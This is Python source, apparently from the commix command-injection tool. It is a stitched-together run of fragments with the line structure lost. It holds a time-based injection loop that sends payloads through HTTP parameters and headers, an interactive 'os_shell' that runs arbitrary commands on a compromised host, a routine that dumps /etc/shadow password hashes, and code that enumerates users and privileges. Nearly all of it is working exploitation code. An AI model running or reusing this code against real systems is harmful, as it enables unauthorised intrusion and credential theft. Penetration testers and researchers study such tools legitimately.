settings.TEMPFILE_BASED_STATE = True cmd = shell = "" url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method) checks.check_for_stored_tamper(payload) settings.FOUND_HOW_LONG = how_long settings.FOUND_DIFF = how_long - timesec OUTPUT_TEXTFILE = tmp_path + TAG + ".txt" except TypeError: err_msg = "An error occurred while accessing session file ('" err_msg += settings.SESSION_FILE + "'). " err_msg += "Use the '--flush-session' option." print(settings.print_critical_msg(err_msg)) raise SystemExit() else: num_of_chars = num_of_chars + 1 # Check for bad combination of prefix and separator combination = prefix + separator if combination in settings.JUNK_COMBINATION: prefix = "" # The output file for file-based injection technique. OUTPUT_TEXTFILE = tmp_path + TAG + ".txt" alter_shell = menu.options.alter_shell tag_length = len(TAG) + 4 for output_length in range(1, int(tag_length)): try: # Tempfile-based decision payload (check if host is vulnerable). if alter_shell : payload = tfb_payloads.decision_alter_shell(separator, output_length, TAG, OUTPUT_TEXTFILE, timesec, http_request_method) else: payload = tfb_payloads.decision(separator, output_length, TAG, OUTPUT_TEXTFILE, timesec, http_request_method) # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Whitespace fixation payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) # Perform payload modification payload = checks.perform_payload_modification(payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL == 1: payload_msg = payload.replace("\n", "\\n") print(settings.print_payload(payload_msg)) elif settings.VERBOSITY_LEVEL >= 2: debug_msg = "Generating payload for the injection." print(settings.print_debug_msg(debug_msg)) print(settings.print_payload(payload)) # Cookie header injection if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie header injection. vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie) how_long = tfb_injector.cookie_injection_test(url, vuln_parameter, payload) # User-Agent HTTP header injection elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent HTTP header injection. vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent) how_long = tfb_injector.user_agent_injection_test(url, vuln_parameter, payload) # Referer HTTP header injection elif settings.REFERER_INJECTION == True: # Check if target host is vulnerable to referer HTTP header injection. vuln_parameter = parameters.specify_referer_parameter(menu.options.referer) how_long = tfb_injector.referer_injection_test(url, vuln_parameter, payload) # Host HTTP header injection elif settings.HOST_INJECTION == True: # Check if target host is vulnerable to host HTTP header injection. vuln_parameter = parameters.specify_host_parameter(menu.options.host) how_long = tfb_injector.host_injection_test(url, vuln_parameter, payload) # Custom HTTP header injection elif settings.CUSTOM_HEADER_INJECTION == True: # Check if target host is vulnerable to custom HTTP header injection. vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG) how_long = tfb_injector.custom_header_injection_test(url, vuln_parameter, payload) else: # Check if target host is vulnerable. how_long, vuln_parameter = tfb_injector.injection_test(payload, http_request_method, url) # Statistical analysis in time responses. how_long_statistic.append(how_long) # Injection percentage calculation percent = ((num_of_chars * 100) / total) float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total*1.0)),2)) if percent == 100 and no_result == True: if settings.VERBOSITY_LEVEL == 0: percent = settings.FAIL_STATUS else: percent = "" else: if (url_time_response == 0 and (how_long - timesec) >= 0) or \ (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \ (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) : # Time relative false positive fixation. false_positive_fixation = False if len(TAG) == output_length: # Simple statical analysis statistical_anomaly = True if len(set(how_long_statistic[0:5])) == 1: if max(xrange(len(how_long_statistic)), key=lambda x: how_long_statistic[x]) == len(TAG) - 1: statistical_anomaly = False how_long_statistic = [] if timesec <= how_long and not statistical_anomaly: false_positive_fixation = True else: false_positive_warning = True # Identified false positive warning message. if false_positive_warning: warn_msg = "Unexpected time delays have been identified due to unstable " warn_msg += "requests. This behavior may lead to false-positive results.\n" sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) while True: if not menu.options.batch: question_msg = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > " proceed_option = _input(settings.print_question_msg(question_msg)) else: proceed_option = "" if len(proceed_option) == 0: proceed_option = "c" if proceed_option.lower() in settings.CHOICE_PROCEED : if proceed_option.lower() == "s": false_positive_fixation = False raise elif proceed_option.lower() == "c": timesec = timesec + 1 false_positive_fixation = True break elif proceed_option.lower() == "q": raise SystemExit() else: err_msg = "'" + proceed_option + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass if settings.VERBOSITY_LEVEL == 0: percent = ".. (" + str(float_percent) + "%)" info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + "" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() # Check if false positive fixation is True. if false_positive_fixation: false_positive_fixation = False settings.FOUND_HOW_LONG = how_long settings.FOUND_DIFF = how_long - timesec if false_positive_warning: time.sleep(1) randv1 = random.randrange(0, 4) randv2 = random.randrange(1, 5) randvcalc = randv1 + randv2 if settings.TARGET_OS == "win": if alter_shell: cmd = settings.WIN_PYTHON_INTERPRETER + " -c \"print (" + str(randv1) + " + " + str(randv2) + ")\"" else: cmd = "powershell.exe -InputFormat none write (" + str(randv1) + " + " + str(randv2) + ")" else: cmd = "echo $((" + str(randv1) + " %2B " + str(randv2) + "))" # Set the original delay time original_how_long = how_long # Check for false positive resutls how_long, output = tfb_injector.false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, how_long, url_time_response) if (url_time_response == 0 and (how_long - timesec) >= 0) or \ (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \ (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) : if str(output) == str(randvcalc) and len(TAG) == output_length: possibly_vulnerable = True how_long_statistic = 0 if settings.VERBOSITY_LEVEL == 0: percent = settings.info_msg else: percent = "" #break else: break # False positive else: if settings.VERBOSITY_LEVEL == 0: percent = ".. (" + str(float_percent) + "%)" info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + "" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() continue else: if settings.VERBOSITY_LEVEL == 0: percent = ".. (" + str(float_percent) + "%)" info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + "" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() continue if settings.VERBOSITY_LEVEL == 0: info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + "" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() except KeyboardInterrupt: if settings.VERBOSITY_LEVEL != 0: print(settings.SINGLE_WHITESPACE) if 'cmd' in locals(): # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except SystemExit: if 'cmd' in locals(): # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except EOFError: err_msg = "Exiting, due to EOFError." print(settings.print_error_msg(err_msg)) if 'cmd' in locals(): # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except: percent = ((num_of_chars * 100) / total) float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total*1.0)),2)) if str(float_percent) == "100.0": if no_result == True: if settings.VERBOSITY_LEVEL == 0: percent = settings.FAIL_STATUS info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + "" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() else: percent = "" else: percent = ".. (" + str(float_percent) + "%)" print(settings.SINGLE_WHITESPACE) # Print logs notification message logs.logs_notification(filename) #raise else: percent = ".. (" + str(float_percent) + "%)" break # Yaw, got shellz! # Do some magic tricks! if (url_time_response == 0 and (how_long - timesec) >= 0) or \ (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \ (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) : if (len(TAG) == output_length) and \ (possibly_vulnerable == True or settings.LOAD_SESSION and int(is_vulnerable) == menu.options.level): found = True no_result = False # Check injection state settings.DETECTION_PHASE = False settings.EXPLOITATION_PHASE = True if settings.LOAD_SESSION: if whitespace == "%20": whitespace = " " possibly_vulnerable = False if settings.COOKIE_INJECTION == True: header_name = " cookie" found_vuln_parameter = vuln_parameter the_type = " parameter" elif settings.USER_AGENT_INJECTION == True: header_name = " User-Agent" found_vuln_parameter = "" the_type = " HTTP header" elif settings.REFERER_INJECTION == True: header_name = " Referer" found_vuln_parameter = "" the_type = " HTTP header" elif settings.HOST_INJECTION == True: header_name = " Host" found_vuln_parameter = "" the_type = " HTTP header" elif settings.CUSTOM_HEADER_INJECTION == True: header_name = " " + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" else: header_name = "" the_type = " parameter" if http_request_method != settings.HTTPMETHOD.POST: found_vuln_parameter = parameters.vuln_GET_param(url) else : found_vuln_parameter = vuln_parameter if len(found_vuln_parameter) != 0 : found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique) if vp_flag == True: vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) logs.update_payload(filename, counter, payload) counter = counter + 1 if not settings.LOAD_SESSION: if settings.VERBOSITY_LEVEL == 0: print(settings.SINGLE_WHITESPACE) else: checks.total_of_requests() # Print the findings to terminal. info_msg = "The" if len(found_vuln_parameter) > 0 and not "cookie" in header_name : info_msg += " " + http_request_method info_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name info_msg += found_vuln_parameter + " seems injectable via " info_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "." print(settings.print_bold_info_msg(info_msg)) sub_content = str(checks.url_decode(payload)) print(settings.print_sub_content(sub_content)) # Export session if not settings.LOAD_SESSION: shell = "" session_handler.injection_point_importation(url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, original_how_long, output_length, is_vulnerable=menu.options.level) #possibly_vulnerable = False else: settings.LOAD_SESSION = False # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) if settings.TARGET_OS == "win": time.sleep(1) new_line = False # Check for any enumeration options. if settings.ENUMERATION_DONE == True : while True: if not menu.options.batch: question_msg = "Do you want to enumerate again? [Y/n] > " enumerate_again = _input("\n" + settings.print_question_msg(question_msg)).lower() else: enumerate_again = "" if len(enumerate_again) == 0: enumerate_again = "Y" if enumerate_again in settings.CHOICE_YES: tfb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) print(settings.SINGLE_WHITESPACE) break elif enumerate_again in settings.CHOICE_NO: new_line = True break elif enumerate_again in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise SystemExit() else: err_msg = "'" + enumerate_again + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass else: if menu.enumeration_options(): tfb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) print(settings.SINGLE_WHITESPACE) # Check for any system file access options. if settings.FILE_ACCESS_DONE == True : print(settings.SINGLE_WHITESPACE) while True: if not menu.options.batch: question_msg = "Do you want to access files again? [Y/n] > " file_access_again = _input(settings.print_question_msg(question_msg)) else: file_access_again = "" if len(file_access_again) == 0: file_access_again = "Y" if file_access_again in settings.CHOICE_YES: tfb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) break elif file_access_again in settings.CHOICE_NO: if not new_line: new_line = True break elif file_access_again in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise SystemExit() else: err_msg = "'" + file_access_again + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass else: # if not menu.enumeration_options() and not menu.options.os_cmd: # print(settings.SINGLE_WHITESPACE) tfb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) # Check if defined single cmd. if menu.options.os_cmd: check_how_long, output = tfb_enumeration.single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) # Export injection result tfb_injector.export_injection_results(cmd, separator, output, check_how_long) # Delete previous shell (text) files (output) from temp. if settings.VERBOSITY_LEVEL != 0: print(settings.SINGLE_WHITESPACE) delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) logs.print_logs_notification(filename, url) raise SystemExit() if settings.VERBOSITY_LEVEL != 0 or not new_line: print(settings.SINGLE_WHITESPACE) try: # Pseudo-Terminal shell go_back = False go_back_again = False while True: if go_back == True: break if not menu.options.batch: question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > " gotshell = _input(settings.print_question_msg(question_msg)) else: gotshell = "" if len(gotshell) == 0: gotshell = "Y" if gotshell in settings.CHOICE_YES: # if not menu.options.batch: # print(settings.SINGLE_WHITESPACE) print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") if settings.READLINE_ERROR: checks.no_readline_module() while True: if false_positive_warning: warn_msg = "Due to unexpected time delays, it is highly " warn_msg += "recommended to enable the 'reverse_tcp' option.\n" sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) false_positive_warning = False if not settings.READLINE_ERROR: checks.tab_autocompleter() cmd = _input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="") if go_back and go_back_again == False: break if go_back and go_back_again: return True if menu.options.ignore_session or \ session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # The main command injection exploitation. check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) # Export injection result tfb_injector.export_injection_results(cmd, separator, output, check_how_long) if not menu.options.ignore_session : session_handler.store_cmd(url, cmd, output, vuln_parameter) else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) # Update logs with executed cmds and execution results. logs.executed_command(filename, cmd, output) print("\n" + settings.print_output(output) + "\n") # Update logs with executed cmds and execution results. logs.executed_command(filename, cmd, output) elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector(technique, go_back) == True: break else: if no_result == True: return False else: # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) return True elif gotshell in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise SystemExit() else: err_msg = "'" + gotshell + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass except KeyboardInterrupt: if settings.VERBOSITY_LEVEL != 0: print(settings.SINGLE_WHITESPACE) # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except SystemExit: # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except EOFError: err_msg = "Exiting, due to EOFError." print(settings.print_error_msg(err_msg)) # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise if no_result == True: if settings.VERBOSITY_LEVEL == 0: print(settings.SINGLE_WHITESPACE) return False else : sys.stdout.write("\r") sys.stdout.flush()
def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): if settings.TARGET_OS == "win": # Not yet implemented! pass else: cmd = settings.SYS_PASSES if session_handler.export_stored_cmd( url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Perform target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload(url, timesec) # Evaluate injection results. sys_passes = cb_injector.injection_results(response, TAG, cmd) sys_passes = "".join(str(p) for p in sys_passes) session_handler.store_cmd(url, cmd, sys_passes, vuln_parameter) else: sys_passes = session_handler.export_stored_cmd( url, cmd, vuln_parameter) if sys_passes == "": sys_passes = " " if sys_passes: info_msg = "Fetching '" + settings.SHADOW_FILE info_msg += "' to enumerate users password hashes. " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() sys_passes = sys_passes.replace(" ", "\n") sys_passes = sys_passes.split() if len(sys_passes) != 0: sys.stdout.write(settings.SUCCESS_STATUS) info_msg = "Identified " + str(len(sys_passes)) info_msg += " entr" + ('ies', 'y')[len(sys_passes) == 1] info_msg += " in '" + settings.SHADOW_FILE + "'.\n" sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg)) sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") output_file.write( re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub( "", settings.INFO_BOLD_SIGN) + info_msg) output_file.close() count = 0 for line in sys_passes: count = count + 1 try: if ":" in line: fields = line.split(":") if not "*" in fields[1] and not "!" in fields[ 1] and fields[1] != "": print(" (" + str(count) + ") " + Style.BRIGHT + fields[0] + Style.RESET_ALL + " : " + Style.BRIGHT + fields[1] + Style.RESET_ALL) # Add infos to logs file. output_file = open(filename, "a") output_file.write(" (" + str(count) + ") " + fields[0] + " : " + fields[1] + "\n") output_file.close() # Check for appropriate '/etc/shadow' format. except IndexError: if count == 1: warn_msg = "It seems that '" + settings.SHADOW_FILE + "' file is not " warn_msg += "in the appropriate format. Thus, it is expoted as a text file." sys.stdout.write( settings.print_warning_msg(warn_msg) + "\n") print(fields[0]) output_file = open(filename, "a") output_file.write(" " + fields[0]) output_file.close() else: sys.stdout.write(settings.FAIL_STATUS) sys.stdout.flush() warn_msg = "It seems that you don't have permissions to read '" warn_msg += settings.SHADOW_FILE + "' to enumerate users password hashes." print("\n" + settings.print_warning_msg(warn_msg))
def installer(): packages = "build-essential python-dev" dependencies = "git python-pip" info_msg = "Starting the installer. " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() # Check if OS is Linux. if settings.PLATFORM == "posix": # You need to have administrative privileges to run this script. if not common.running_as_admin(): print(settings.SINGLE_WHITESPACE) err_msg = "You need to have administrative privileges to run this option." print(settings.print_critical_msg(err_msg)) raise SystemExit() # Check if commix is already installed. if os.path.isdir("/usr/share/" + settings.APPLICATION + ""): print(settings.SINGLE_WHITESPACE) warn_msg = "It seems that " + settings.APPLICATION warn_msg += " is already installed in your system." print(settings.print_warning_msg(warn_msg)) while True: if not menu.options.batch: question_msg = "Do you want to remove commix? [Y/n] > " uninstall = _input( settings.print_question_msg(question_msg)) else: uninstall = "" if len(uninstall) == 0: uninstall = "Y" if uninstall in settings.CHOICE_YES: uninstaller() raise SystemExit() elif uninstall in settings.CHOICE_NO or \ uninstall in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + uninstall + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass # Check for git. if not os.path.isfile("/usr/bin/git") or not os.path.isfile( "/usr/bin/pip"): # Install requirement. if os.path.isfile("/etc/apt/sources.list"): sys.stdout.write(settings.SUCCESS_STATUS + "\n") sys.stdout.flush() # Check for dependencies. dependencies_items = dependencies.split() for item in dependencies_items: requirments.do_check(item) else: print(settings.SINGLE_WHITESPACE) err_msg = "The installer is not designed for any " err_msg += "other Linux distro than Ubuntu / Debian. " err_msg += "Please install manually: " + dependencies print(settings.print_critical_msg(err_msg)) print(settings.SINGLE_WHITESPACE) raise SystemExit() # Force install of necessary packages subprocess.Popen("apt-get --force-yes -y install " + packages + ">/dev/null 2>&1", shell=True).wait() sys.stdout.write(settings.SUCCESS_STATUS + "\n") sys.stdout.flush() info_msg = "Installing " + settings.APPLICATION info_msg += " into the /usr/share/" + settings.APPLICATION + ". " sys.stdout.write(settings.print_info_msg(info_msg)) try: current_dir = os.getcwd() subprocess.Popen("cp -r " + current_dir + " /usr/share/" + settings.APPLICATION + " >/dev/null 2>&1", shell=True).wait() subprocess.Popen("chmod 775 /usr/share/" + settings.APPLICATION + "/" + settings.APPLICATION + ".py >/dev/null 2>&1", shell=True).wait() except: print(settings.SINGLE_WHITESPACE) raise SystemExit() sys.stdout.write(settings.SUCCESS_STATUS + "\n") sys.stdout.flush() info_msg = "Installing " + settings.APPLICATION info_msg += " to /usr/bin/" + settings.APPLICATION + ". " sys.stdout.write(settings.print_info_msg(info_msg)) try: with open("/usr/bin/" + settings.APPLICATION, 'w') as f: f.write('#!/bin/bash\n') f.write('cd /usr/share/commix/ && ./commix.py "$@"\n') subprocess.Popen("chmod +x /usr/bin/" + settings.APPLICATION + " >/dev/null 2>&1", shell=True).wait() except: print(settings.SINGLE_WHITESPACE) raise SystemExit() sys.stdout.write(settings.SUCCESS_STATUS + "\n") sys.stdout.flush() #Create the Output Directory try: os.stat(settings.OUTPUT_DIR) except: try: os.mkdir(settings.OUTPUT_DIR) except OSError as err_msg: try: error_msg = str(err_msg).split("] ")[1] + "." except IndexError: error_msg = str(err_msg) + "." print(settings.print_critical_msg(error_msg)) raise SystemExit() info_msg = "The installation is finished! Type '" info_msg += settings.APPLICATION + "' to launch it." print(settings.print_bold_info_msg(info_msg)) else: print(settings.SINGLE_WHITESPACE) err_msg = "The installer is not designed for any other system other than Linux. " err_msg += "Please install manually: " + packages + dependencies print(settings.print_critical_msg(err_msg)) print(settings.SINGLE_WHITESPACE) raise SystemExit() # eof
def current_user(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): if settings.TARGET_OS == "win": settings.CURRENT_USER = settings.WIN_CURRENT_USER cmd = settings.CURRENT_USER if session_handler.export_stored_cmd( url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Perform target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload(url, timesec) # Evaluate injection results. cu_account = cb_injector.injection_results(response, TAG, cmd) cu_account = "".join(str(p) for p in cu_account) session_handler.store_cmd(url, cmd, cu_account, vuln_parameter) else: cu_account = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if cu_account: cu_account = "".join(str(p) for p in cu_account) # Check if the user have super privileges. if menu.options.is_root or menu.options.is_admin: if settings.TARGET_OS == "win": cmd = settings.IS_ADMIN else: cmd = settings.IS_ROOT if settings.USE_BACKTICKS: cmd = cmd.replace("echo $(", "").replace(")", "") if session_handler.export_stored_cmd( url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Perform target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload(url, timesec) # Evaluate injection results. shell = cb_injector.injection_results(response, TAG, cmd) shell = "".join(str(p) for p in shell).replace(" ", "", 1)[:-1] session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd( url, cmd, vuln_parameter) info_msg = "The current user is " + str(cu_account) sys.stdout.write(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") info_msg = "The current user is " + cu_account output_file.write( re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub( "", settings.INFO_BOLD_SIGN) + info_msg) output_file.close() if shell: if (settings.TARGET_OS == "win" and not "Admin" in shell) or \ (settings.TARGET_OS != "win" and shell != "0"): sys.stdout.write(Style.BRIGHT + " and it is " + "not" + Style.RESET_ALL + Style.BRIGHT + " privileged" + Style.RESET_ALL + ".\n") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") output_file.write(" and it is not privileged.\n") output_file.close() else: sys.stdout.write(Style.BRIGHT + " and it is " + Style.RESET_ALL + Style.BRIGHT + "privileged" + Style.RESET_ALL + ".\n") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") output_file.write(" and it is privileged.\n") output_file.close() else: info_msg = "The current user is " + str(cu_account) sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") info_msg = "The current user is " + cu_account + "\n" output_file.write( re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub( "", settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: warn_msg = "Heuristics have failed to identify the current user." print(settings.print_warning_msg(warn_msg))
def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): if settings.TARGET_OS == "win": settings.SYS_USERS = settings.WIN_SYS_USERS settings.SYS_USERS = settings.SYS_USERS + "-replace('\s+',' '))" if alter_shell: settings.SYS_USERS = settings.SYS_USERS.replace("'", "\\'") # else: # settings.SYS_USERS = "\"" + settings.SYS_USERS + "\"" cmd = settings.SYS_USERS if settings.TARGET_OS == "win": cmd = "cmd /c " + cmd if session_handler.export_stored_cmd( url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Perform target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload(url, timesec) # Evaluate injection results. sys_users = cb_injector.injection_results(response, TAG, cmd) sys_users = "".join(str(p) for p in sys_users) session_handler.store_cmd(url, cmd, sys_users, vuln_parameter) else: sys_users = session_handler.export_stored_cmd(url, cmd, vuln_parameter) # Windows users enumeration. if settings.TARGET_OS == "win": info_msg = "Executing the 'net users' command " info_msg += "to enumerate users entries. " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: if sys_users[0]: sys_users = "".join(str(p) for p in sys_users).strip() sys.stdout.write(settings.SUCCESS_STATUS) sys_users_list = re.findall(r"(.*)", sys_users) sys_users_list = "".join(str(p) for p in sys_users_list).strip() sys_users_list = ' '.join(sys_users_list.split()) sys_users_list = sys_users_list.split() info_msg = "Identified " + str(len(sys_users_list)) info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1] info_msg += " via 'net users' command.\n" sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg)) sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") output_file.write( re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub( "", settings.INFO_BOLD_SIGN) + info_msg) output_file.close() count = 0 for user in range(0, len(sys_users_list)): count = count + 1 if menu.options.privileges: cmd = "powershell.exe -InputFormat none write-host (([string]$(net user " + sys_users_list[ user] + ")[22..($(net user " + sys_users_list[ user] + ").length-3)]).replace('Local Group Memberships','').replace('*','').Trim()).replace(' ','')" if alter_shell: cmd = cmd.replace("'", "\\'") cmd = "cmd /c " + cmd response = cb_injector.injection( separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) check_privs = cb_injector.injection_results( response, TAG, cmd) check_privs = "".join(str(p) for p in check_privs).strip() check_privs = re.findall(r"(.*)", check_privs) check_privs = "".join(str(p) for p in check_privs).strip() check_privs = check_privs.split() if "Admin" in check_privs[0]: is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " admin user" is_privileged_nh = " is admin user " else: is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user" is_privileged_nh = " is regular user " else: is_privileged = "" is_privileged_nh = "" print(" (" + str(count) + ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL 